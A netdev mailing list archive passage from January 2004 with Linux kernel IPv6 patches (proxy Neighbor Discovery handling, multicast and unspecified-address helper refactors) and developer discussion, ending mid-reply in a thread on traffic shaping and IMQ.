Perhaps this is an acceptable trade off for the architectual cleannes Regards, Ville # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1520 -> 1.1521 # net/ipv6/ip6_input.c 1.14 -> 1.15 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/27 vnuorval@dsl-hkigw1o3c.dial.inet.fi 1.1521 # A proxy needs to capture and process Neighbor Solicitations on behalf of the proxied node. # Normal multicast NS messages are already handled by the existing neigbor discovery code, # but unicast NS messages used for Neighbor Unreachability Detection are not. # # To fix this, the proxy has to look through all packets sent to a proxied address in order to # filter out the NS messages for local processing. # -------------------------------------------- # diff -Nru a/net/ipv6/ip6_input.c b/net/ipv6/ip6_input.c --- a/net/ipv6/ip6_input.c Tue Jan 27 22:07:00 2004 +++ b/net/ipv6/ip6_input.c Tue Jan 27 22:07:00 2004 @@ -46,13 +46,42 @@ #include #include +static inline int ip6_proxy_chk(struct sk_buff *skb) +{ + struct ipv6hdr *hdr = skb->nh.ipv6h; + if (ipv6_addr_type(&hdr->daddr)&IPV6_ADDR_UNICAST && + pneigh_lookup(&nd_tbl, &hdr->daddr, skb->dev, 0)) { + u8 nexthdr = hdr->nexthdr; + int offset; + struct icmp6hdr msg; + + if (ipv6_ext_hdr(nexthdr)) { + offset = ipv6_skip_exthdr(skb, sizeof(*hdr), &nexthdr, + skb->len - sizeof(*hdr)); + if (offset < 0) + return 0; + } else + offset = sizeof(struct ipv6hdr); + + /* capture unicast NUD probes on behalf of the proxied node */ + + if (nexthdr == IPPROTO_ICMPV6 && + !skb_copy_bits(skb, offset, &msg, sizeof(msg)) && + msg.icmp6_type == NDISC_NEIGHBOUR_SOLICITATION) { + return 1; + } + } + return 0; +} static inline int ip6_rcv_finish( struct sk_buff *skb) { - if (skb->dst == NULL) + if (skb->dst == NULL) { + if (ip6_proxy_chk(skb)) + return ip6_input(skb); ip6_route_input(skb); - + } return dst_input(skb); } -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From yoshfuji@linux-ipv6.org Tue Jan 27 15:45:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 15:45:35 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RNjL7J008471 for ; Tue, 27 Jan 2004 15:45:22 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id EB34533CA5; Wed, 28 Jan 2004 08:46:01 +0900 (JST) Date: Wed, 28 Jan 2004 08:46:01 +0900 (JST) Message-Id: <20040128.084601.13486645.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040116.005443.92504522.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2842 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 849 Lines: 22 In article (at Tue, 27 Jan 2004 22:58:02 +0200 (EET)), Ville Nuorvala says: > How about this fix? I think it's cleaner than the one I proposed > earlier. The down side with it is that all nodes, no matter if they are : Well, it seems better to me. I however think it should be done in ip6_forward() because "proxying" is done at the router, acting as proxy. Packets sent to the proxying router are basically forwarded to the original node even if the destination is link-local. On performance issue: as IPv4, we may want to have net.ipv6.conf..proxy_ndisc sysctl. We may also want to have another configuration option (to enable proxy) bacause not all routers require this feature. BTW, would you please give me a few days, till my defence over? :-) --yoshfuji From yoshfuji@linux-ipv6.org Tue Jan 27 15:53:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 15:53:47 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0RNrX7J009050 for ; Tue, 27 Jan 2004 15:53:33 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id CD3F833CC2; Wed, 28 Jan 2004 08:54:14 +0900 (JST) Date: Wed, 28 Jan 2004 08:54:14 +0900 (JST) Message-Id: <20040128.085414.32889499.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: davem@redhat.com, pekkas@netcore.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2843 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 637 Lines: 15 In article (at Tue, 27 Jan 2004 23:11:20 +0200 (EET)), Ville Nuorvala says: > Dave, since even Pekka is now convinced this patch doesn't break anything, : > + /* The proxying router can't forward traffic sent to a link-local > + address, so signal the sender and discard the packet. This > + behavior is required by the MIPv6 specification. */ Would you please clarify the word "can't" and its reasons? won't? don't? or whatever? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From pekkas@netcore.fi Tue Jan 27 21:29:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 21:29:14 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S5T67J024564 for ; Tue, 27 Jan 2004 21:29:07 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0S5QmC14713; Wed, 28 Jan 2004 07:26:48 +0200 Date: Wed, 28 Jan 2004 07:26:48 +0200 (EET) From: Pekka Savola To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= cc: vnuorval@tcs.hut.fi, , , Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: <20040128.085414.32889499.yoshfuji@linux-ipv6.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-archive-position: 2845 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 878 Lines: 18 On Wed, 28 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > In article (at Tue, 27 Jan 2004 23:11:20 +0200 (EET)), Ville Nuorvala says: > > + /* The proxying router can't forward traffic sent to a link-local > > + address, so signal the sender and discard the packet. This > > + behavior is required by the MIPv6 specification. */ > > Would you please clarify the word "can't" and its reasons? > won't? don't? or whatever? I think "can't" in this context means, "it can't be _forwarded_ because it's link-local". It could be proxied using some other function than ip6_forward, though. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From pekkas@netcore.fi Tue Jan 27 22:39:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 22:39:55 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S6dm7J026981 for ; Tue, 27 Jan 2004 22:39:49 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0S6dcR16101; Wed, 28 Jan 2004 08:39:38 +0200 Date: Wed, 28 Jan 2004 08:39:38 +0200 (EET) From: Pekka Savola To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= cc: netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: <20040128.084601.13486645.yoshfuji@linux-ipv6.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-archive-position: 2846 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 979 Lines: 23 On Wed, 28 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > On performance issue: as IPv4, we may want to have > net.ipv6.conf..proxy_ndisc sysctl. IPv4 proxy_arp is different. It's the way of configuring automatic proxy ARP. No such thing exists for IPv6 at the moment, so when we implement ND proxying, it would probably be the place to toggle it on and off. So I see little need for a sysctl toggle to switch this on and off, as the addresses to be proxied are currently manually configured anyway. > We may also want to have another configuration > option (to enable proxy) bacause not all routers require this > feature. I'm not sure whether this is called for, for a small piece of code like this. We need fewer configuration options, not more! :-) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From vnuorval@tcs.hut.fi Tue Jan 27 23:13:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 23:13:55 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S7Dn7J028652 for ; Tue, 27 Jan 2004 23:13:50 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id BB9378001B7; Wed, 28 Jan 2004 09:13:48 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0S7Dm7Y030036; Wed, 28 Jan 2004 09:13:48 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0S7Dm0m030032; Wed, 28 Jan 2004 09:13:48 +0200 Date: Wed, 28 Jan 2004 09:13:48 +0200 (EET) From: Ville Nuorvala To: Pekka Savola Cc: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= , davem@redhat.com, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i0S7Dn7J028652 X-archive-position: 2847 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 916 Lines: 23 On Wed, 28 Jan 2004, Pekka Savola wrote: > On Wed, 28 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > > In article (at Tue, 27 Jan 2004 23:11:20 +0200 (EET)), Ville Nuorvala says: > > > + /* The proxying router can't forward traffic sent to a link-local > > > + address, so signal the sender and discard the packet. This > > > + behavior is required by the MIPv6 specification. */ > > > > Would you please clarify the word "can't" and its reasons? > > won't? don't? or whatever? > > I think "can't" in this context means, "it can't be _forwarded_ > because it's link-local". It could be proxied using some other > function than ip6_forward, though. Yes. -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From yoshfuji@linux-ipv6.org Tue Jan 27 23:30:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 27 Jan 2004 23:30:12 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S7U57J029509 for ; Tue, 27 Jan 2004 23:30:05 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 460D533CC2; Wed, 28 Jan 2004 16:30:47 +0900 (JST) Date: Wed, 28 Jan 2004 16:30:47 +0900 (JST) Message-Id: <20040128.163047.87255505.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH 2/2] IPV6: use ipv6_addr_is_multicast() From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2848 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 6909 Lines: 231 Hello. Use simple ipv6_addr_is_multicast() where ipv6_addr_type() is called to check for multicast only. Thanks. ===== net/ipv6/exthdrs.c 1.14 vs edited ===== --- 1.14/net/ipv6/exthdrs.c Sun Jan 25 03:09:52 2004 +++ edited/net/ipv6/exthdrs.c Wed Jan 28 16:08:02 2004 @@ -218,7 +218,6 @@ struct inet6_skb_parm *opt = (struct inet6_skb_parm *)skb->cb; struct in6_addr *addr; struct in6_addr daddr; - int addr_type; int n, i; struct ipv6_rt_hdr *hdr; @@ -233,7 +232,7 @@ hdr = (struct ipv6_rt_hdr *) skb->h.raw; - if ((ipv6_addr_type(&skb->nh.ipv6h->daddr)&IPV6_ADDR_MULTICAST) || + if (ipv6_addr_is_multicast(&skb->nh.ipv6h->daddr) || skb->pkt_type != PACKET_HOST) { kfree_skb(skb); return -1; @@ -293,9 +292,7 @@ addr = rthdr->addr; addr += i - 1; - addr_type = ipv6_addr_type(addr); - - if (addr_type&IPV6_ADDR_MULTICAST) { + if (ipv6_addr_is_multicast(addr)) { kfree_skb(skb); return -1; } ===== net/ipv6/anycast.c 1.10 vs edited ===== --- 1.10/net/ipv6/anycast.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/anycast.c Wed Jan 28 16:08:02 2004 @@ -111,7 +111,7 @@ if (!capable(CAP_NET_ADMIN)) return -EPERM; - if (ipv6_addr_type(addr) & IPV6_ADDR_MULTICAST) + if (ipv6_addr_is_multicast(addr)) return -EINVAL; if (ipv6_chk_addr(addr, NULL, 0)) return -EINVAL; ===== net/ipv6/raw.c 1.47 vs edited ===== --- 1.47/net/ipv6/raw.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/raw.c Wed Jan 28 16:08:02 2004 @@ -81,7 +81,7 @@ struct in6_addr *loc_addr, struct in6_addr *rmt_addr) { struct hlist_node *node; - int addr_type = ipv6_addr_type(loc_addr); + int is_multicast = ipv6_addr_is_multicast(loc_addr); sk_for_each_from(sk, node) if (inet_sk(sk)->num == num) { @@ -94,7 +94,7 @@ if (!ipv6_addr_any(&np->rcv_saddr)) { if (!ipv6_addr_cmp(&np->rcv_saddr, loc_addr)) goto found; - if ((addr_type & IPV6_ADDR_MULTICAST) && + if (is_multicast && inet6_mc_check(sk, loc_addr, rmt_addr)) goto found; continue; ===== net/ipv6/mcast.c 1.49 vs edited ===== --- 1.49/net/ipv6/mcast.c Sun Jan 25 02:54:51 2004 +++ edited/net/ipv6/mcast.c Wed Jan 28 16:08:02 2004 @@ -175,7 +175,7 @@ struct ipv6_pinfo *np = inet6_sk(sk); int err; - if (!(ipv6_addr_type(addr) & IPV6_ADDR_MULTICAST)) + if (!ipv6_addr_is_multicast(addr)) return -EINVAL; mc_lst = sock_kmalloc(sk, sizeof(struct ipv6_mc_socklist), GFP_KERNEL); @@ -348,7 +348,7 @@ source = &((struct sockaddr_in6 *)&pgsr->gsr_source)->sin6_addr; group = &((struct sockaddr_in6 *)&pgsr->gsr_group)->sin6_addr; - if (!(ipv6_addr_type(group) & IPV6_ADDR_MULTICAST)) + if (!ipv6_addr_is_multicast(group)) return -EINVAL; idev = ip6_mc_find_dev(group, pgsr->gsr_interface); @@ -457,7 +457,7 @@ group = &((struct sockaddr_in6 *)&gsf->gf_group)->sin6_addr; - if (!(ipv6_addr_type(group) & IPV6_ADDR_MULTICAST)) + if (!ipv6_addr_is_multicast(group)) return -EINVAL; if (gsf->gf_fmode != MCAST_INCLUDE && gsf->gf_fmode != MCAST_EXCLUDE) @@ -529,7 +529,7 @@ group = &((struct sockaddr_in6 *)&gsf->gf_group)->sin6_addr; - if (!(ipv6_addr_type(group) & IPV6_ADDR_MULTICAST)) + if (!ipv6_addr_is_multicast(group)) return -EINVAL; idev = ip6_mc_find_dev(group, gsf->gf_interface); ===== net/ipv6/udp.c 1.57 vs edited ===== --- 1.57/net/ipv6/udp.c Fri Jan 9 18:50:23 2004 +++ edited/net/ipv6/udp.c Wed Jan 28 16:08:02 2004 @@ -658,7 +658,7 @@ /* * Multicast receive code */ - if (ipv6_addr_type(daddr) & IPV6_ADDR_MULTICAST) { + if (ipv6_addr_is_multicast(daddr)) { udpv6_mcast_deliver(uh, saddr, daddr, skb); return 0; } ===== net/ipv6/ndisc.c 1.64 vs edited ===== --- 1.64/net/ipv6/ndisc.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/ndisc.c Wed Jan 28 16:08:56 2004 @@ -277,25 +277,21 @@ struct in6_addr *addr = (struct in6_addr*)&neigh->primary_key; struct net_device *dev = neigh->dev; struct inet6_dev *in6_dev = in6_dev_get(dev); - int addr_type; + int is_multicast = ipv6_addr_is_multicast(addr); if (in6_dev == NULL) return -EINVAL; - addr_type = ipv6_addr_type(addr); if (in6_dev->nd_parms) neigh->parms = in6_dev->nd_parms; - if (addr_type&IPV6_ADDR_MULTICAST) - neigh->type = RTN_MULTICAST; - else - neigh->type = RTN_UNICAST; + neigh->type = is_multicast ? RTN_MULTICAST : RTN_UNICAST; if (dev->hard_header == NULL) { neigh->nud_state = NUD_NOARP; neigh->ops = &ndisc_direct_ops; neigh->output = neigh->ops->queue_xmit; } else { - if (addr_type&IPV6_ADDR_MULTICAST) { + if (is_multicast) { neigh->nud_state = NUD_NOARP; ndisc_mc_map(addr, neigh->ha, dev, 1); } else if (dev->flags&(IFF_NOARP|IFF_LOOPBACK)) { @@ -355,7 +351,7 @@ unsigned char *h_dest = NULL; if (dev->hard_header) { - if (ipv6_addr_type(daddr) & IPV6_ADDR_MULTICAST) { + if (ipv6_addr_is_multicast(daddr)) { ndisc_mc_map(daddr, ha, dev, 1); h_dest = ha; } else if (neigh) { @@ -711,7 +707,7 @@ struct neighbour *neigh; int addr_type = ipv6_addr_type(saddr); - if (ipv6_addr_type(&msg->target)&IPV6_ADDR_MULTICAST) { + if (ipv6_addr_is_multicast(&msg->target)) { if (net_ratelimit()) printk(KERN_WARNING "ICMP NS: target address is multicast\n"); return; @@ -797,9 +793,7 @@ } if (addr_type & IPV6_ADDR_UNICAST) { - int inc = ipv6_addr_type(daddr)&IPV6_ADDR_MULTICAST; - - if (inc) + if (ipv6_addr_is_multicast(daddr)) nd_tbl.stats.rcv_probes_mcast++; else nd_tbl.stats.rcv_probes_ucast++; @@ -841,7 +835,7 @@ } if (addr_type & IPV6_ADDR_UNICAST) { - int inc = ipv6_addr_type(daddr)&IPV6_ADDR_MULTICAST; + int inc = ipv6_addr_is_multicast(daddr); if (inc) nd_tbl.stats.rcv_probes_mcast++; else @@ -870,7 +864,7 @@ (addr_type & IPV6_ADDR_UNICAST || addr_type == IPV6_ADDR_ANY) && pneigh_lookup(&nd_tbl, &msg->target, dev, 0)) { - int inc = ipv6_addr_type(daddr)&IPV6_ADDR_MULTICAST; + int inc = ipv6_addr_is_multicast(daddr); if (skb->stamp.tv_sec == 0 || skb->pkt_type == PACKET_HOST || @@ -929,13 +923,13 @@ return; } - if (ipv6_addr_type(&msg->target)&IPV6_ADDR_MULTICAST) { + if (ipv6_addr_is_multicast(&msg->target)) { if (net_ratelimit()) printk(KERN_WARNING "NDISC NA: target address is multicast\n"); return; } - if ((ipv6_addr_type(daddr)&IPV6_ADDR_MULTICAST) && + if (ipv6_addr_is_multicast(daddr) && msg->icmph.icmp6_solicited) { ND_PRINTK0("NDISC: solicited NA is multicasted\n"); return; @@ -1229,7 +1223,7 @@ target = (struct in6_addr *) (icmph + 1); dest = target + 1; - if (ipv6_addr_type(dest) & IPV6_ADDR_MULTICAST) { + if (ipv6_addr_is_multicast(dest)) { if (net_ratelimit()) printk(KERN_WARNING "ICMP redirect for multicast addr\n"); return; -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Wed Jan 28 00:00:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 00:00:20 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S8057J030688 for ; Wed, 28 Jan 2004 00:00:06 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 965EC33CA5; Wed, 28 Jan 2004 16:30:43 +0900 (JST) Date: Wed, 28 Jan 2004 16:30:43 +0900 (JST) Message-Id: <20040128.163043.120256112.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH 1/2] IPV6: use ipv6_addr_any() From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2849 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1119 Lines: 35 Hello. Use simple ipv6_addr_any() where ipv6_addr_type() is called only to check for unspecified address. Thanks. ===== net/ipv6/af_inet6.c 1.60 vs edited ===== --- 1.60/net/ipv6/af_inet6.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/af_inet6.c Wed Jan 28 16:11:31 2004 @@ -464,7 +464,7 @@ if (np->sndflow) sin->sin6_flowinfo = np->flow_label; } else { - if (ipv6_addr_type(&np->rcv_saddr) == IPV6_ADDR_ANY) + if (ipv6_addr_any(&np->rcv_saddr)) ipv6_addr_copy(&sin->sin6_addr, &np->saddr); else ipv6_addr_copy(&sin->sin6_addr, &np->rcv_saddr); ===== net/ipv6/ndisc.c 1.64 vs edited ===== --- 1.64/net/ipv6/ndisc.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/ndisc.c Wed Jan 28 16:13:21 2004 @@ -544,7 +544,7 @@ } len = sizeof(struct icmp6hdr) + sizeof(struct in6_addr); - send_llinfo = dev->addr_len && ipv6_addr_type(saddr) != IPV6_ADDR_ANY; + send_llinfo = dev->addr_len && !ipv6_addr_any(saddr); if (send_llinfo) len += NDISC_OPT_SPACE(dev->addr_len); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From hadi@cyberus.ca Wed Jan 28 01:00:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 01:00:36 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0S90M7J007161 for ; Wed, 28 Jan 2004 01:00:23 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AlJr6-00061b-Tz; Mon, 26 Jan 2004 22:25:37 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: netdev@oss.sgi.com In-Reply-To: <20040126174122.GB20001@usr.lcm.msu.ru> References: <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040126174122.GB20001@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075173905.1039.65.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 26 Jan 2004 22:25:05 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2850 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 3001 Lines: 76 On Mon, 2004-01-26 at 12:41, Vladimir B. Savkin wrote: > On Mon, Jan 26, 2004 at 09:29:56AM -0500, jamal wrote: [..] > > Over here every good networking engineer I have talked to knows this :) This may be true but its like sticking a finger in the air and saying the "wind blows south" ;-> Data my friend. > > Thats what i was assuming. Shaping alone is insufficient as well. > > I don't quite understand what you mean here. > Ultimately, any packet will land in some leaf qdisc, > where there is a queue of some maximum size. > If a sender does not reduce its rate, queue overflows, and we drop. > But in my experience this rarely happens with TCP. I think that sender > just see measured RTT increase and reduce its rate or shrinks > its window. I don't know modern TCP implementations in detail, > but I can see it works. We are saying the same thing. And we are also digressing from the main point. So lets drop this part if you dont mind. > > So why cant you attach a ingress qdisc on eth1-2 and use policing to > > mark excess traffic (not drop)? On eth0 all you do is based on the mark > > And where to drop then? > Look at the example i just typed. In your case you dont need the patch i described; use the standard ingress qdisc and mark with iptables. > So, it's just like IMQ, but without that Q bit, only marking? > Exactly. > But how would I calculate guaranteed rate for a client? Note how i used index 1 for the meter in the example i posted. index 1 is only for one client. > Suppose I have 100 clients connected, then I can only > guarantee a 1/100th of the pipe to each. But if only 5 of them > are active, then each can get 1/5th of the pipe. Look at the way i had index 200 and 300 one for sharing within a device and another for the whole system. You should also just be able to use marks and shape on egress. > Round-robin mechanism such as wrr effectively adjusts rates in dynamic. > I use two-layer hierarchy actually, by applying sfq to every wrr class, > so a user can download a file and play Quake at the same time, > with acceptable delays and no packet loss. At the same time, > user that opens 1000 connections with some evil multithreaded downloader > 